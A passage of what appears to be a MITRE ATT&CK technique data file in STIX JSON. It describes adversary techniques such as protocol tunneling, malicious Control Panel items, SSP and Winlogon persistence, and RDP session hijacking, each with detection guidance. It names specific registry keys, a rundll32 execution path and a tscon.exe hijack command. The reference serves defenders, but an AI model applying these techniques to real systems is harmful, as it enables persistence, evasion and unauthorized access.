2019","url":"https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/","description":"Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019."},{"source_name":"Rhino Labs Cloud Backdoor September 2019","url":"https://github.com/RhinoSecurityLabs/ccat","description":"Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019."}],"modified":"2022-03-08T21:27:49.094Z","name":"Implant Internal Image","description":"Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\n\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Image: Image Modification","Image: Image Creation","Image: Image Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","type":"attack-pattern","created":"2020-03-15T16:03:39.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1572","url":"https://attack.mitre.org/techniques/T1572"},{"source_name":"SSH Tunneling","url":"https://www.ssh.com/ssh/tunneling","description":"SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020."},{"source_name":"BleepingComp Godlua JUL19","url":"https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/","description":"Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020."},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-27T17:15:35.372Z","name":"Protocol Tunneling","description":"Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","type":"attack-pattern","created":"2020-01-23T19:59:52.630Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.002","url":"https://attack.mitre.org/techniques/T1218/002"},{"source_name":"Microsoft Implementing CPL","description":"M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"},{"url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf","description":"Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.","source_name":"TrendMicro CPL Malware Jan 2014"},{"url":"https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/","description":"Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.","source_name":"TrendMicro CPL Malware Dec 2013"},{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","source_name":"Palo Alto Reaver Nov 2017"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2022-03-11T19:01:55.821Z","name":"Control Panel","description":"Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the <code>Control_RunDLL</code> and <code>ControlRunDLLAsUser</code> API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>CPLs</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Windows Registry: Windows Registry Key Modification","File: File Creation","Command: Command Execution","Module: Module Load","Process: Process Creation"],"x_mitre_defense_bypassed":["Application control"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de","type":"attack-pattern","created":"2020-10-19T16:48:08.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1599.001","url":"https://attack.mitre.org/techniques/T1599/001"},{"source_name":"RFC1918","url":"https://tools.ietf.org/html/rfc1918","description":"IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020."}],"modified":"2020-10-21T01:45:58.951Z","name":"Network Address Translation Traversal","description":"Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device.  A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design.  In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device.  In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.  \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Consider monitoring network traffic on both interfaces of border network devices.  Compare packets transmitted by the device between networks to look for signs of NAT being implemented.  Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3.  In some cases, Port Address Translation (PAT) may also be used by an adversary.\n\nMonitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d","type":"attack-pattern","created":"2021-03-17T20:31:07.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1608.002","url":"https://attack.mitre.org/techniques/T1608/002"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2021-10-17T16:25:37.072Z","name":"Upload Tool","description":"Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","type":"attack-pattern","created":"2020-01-24T17:16:11.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1547.005","url":"https://attack.mitre.org/techniques/T1547/005"},{"url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","source_name":"Graeber 2014"},{"url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","source_name":"Microsoft Configure LSA"}],"modified":"2020-03-25T15:42:48.910Z","name":"Security Support Provider","description":"Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Command: Command Execution","Module: Module Load"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79","type":"attack-pattern","created":"2017-05-31T21:30:20.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1004","url":"https://attack.mitre.org/techniques/T1004"},{"external_id":"CAPEC-579","source_name":"capec","url":"https://capec.mitre.org/data/definitions/579.html"},{"url":"https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order","description":"Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.","source_name":"Cylance Reg Persistence Sept 2013"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-01-24T17:07:19.762Z","name":"Winlogon Helper DLL","description":"Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Martin Jirkal, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--519630c5-f03f-4882-825c-3af924935817","type":"attack-pattern","created":"2017-05-31T21:30:22.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1009","url":"https://attack.mitre.org/techniques/T1009"},{"external_id":"CAPEC-572","source_name":"capec","url":"https://capec.mitre.org/data/definitions/572.html"},{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"source_name":"Securelist Malware Tricks April 2017","url":"https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/","description":"Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019."},{"source_name":"VirusTotal FAQ","url":"https://www.virustotal.com/en/faq/","description":"VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019."}],"modified":"2020-09-17T18:25:33.796Z","name":"Binary Padding","description":"Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Signature-based detection","Anti-virus"]},{"x_mitre_platforms":["Windows","Office 365","SaaS","Google Workspace","IaaS","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","type":"attack-pattern","created":"2020-01-30T16:18:36.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1550","url":"https://attack.mitre.org/techniques/T1550"},{"source_name":"NIST Authentication","url":"https://csrc.nist.gov/glossary/term/authentication","description":"NIST. (n.d.). Authentication. Retrieved January 30, 2020."},{"source_name":"NIST MFA","url":"https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication","description":"NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020."},{"url":"https://technet.microsoft.com/en-us/library/dn487457.aspx","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","source_name":"TechNet Audit Policy"}],"modified":"2022-04-01T12:57:34.058Z","name":"Use Alternate Authentication Material","description":"Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Web Credential: Web Credential Usage","Application Log: Application Log Content","Logon Session: Logon Session Creation","User Account: User Account Authentication","Active Directory: Active Directory Credential Request"],"x_mitre_defense_bypassed":["System Access Controls"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--51dea151-0898-4a45-967c-3ebee0420484","type":"attack-pattern","created":"2017-05-31T21:30:59.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1076","url":"https://attack.mitre.org/techniques/T1076"},{"external_id":"CAPEC-555","source_name":"capec","url":"https://capec.mitre.org/data/definitions/555.html"},{"url":"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx","description":"Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.","source_name":"TechNet Remote Desktop Services"},{"url":"http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/","description":"Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.","source_name":"Alperovitch Malware"},{"url":"http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html","description":"Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.","source_name":"RDP Hijacking Korznikov"},{"url":"https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6","description":"Beaumont, K. (2017, March 19). RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.","source_name":"RDP Hijacking Medium"},{"url":"https://github.com/nccgroup/redsnarf","description":"NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.","source_name":"Kali Redsnarf"}],"modified":"2020-02-11T18:24:04.507Z","name":"Remote Desktop Protocol","description":"Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged 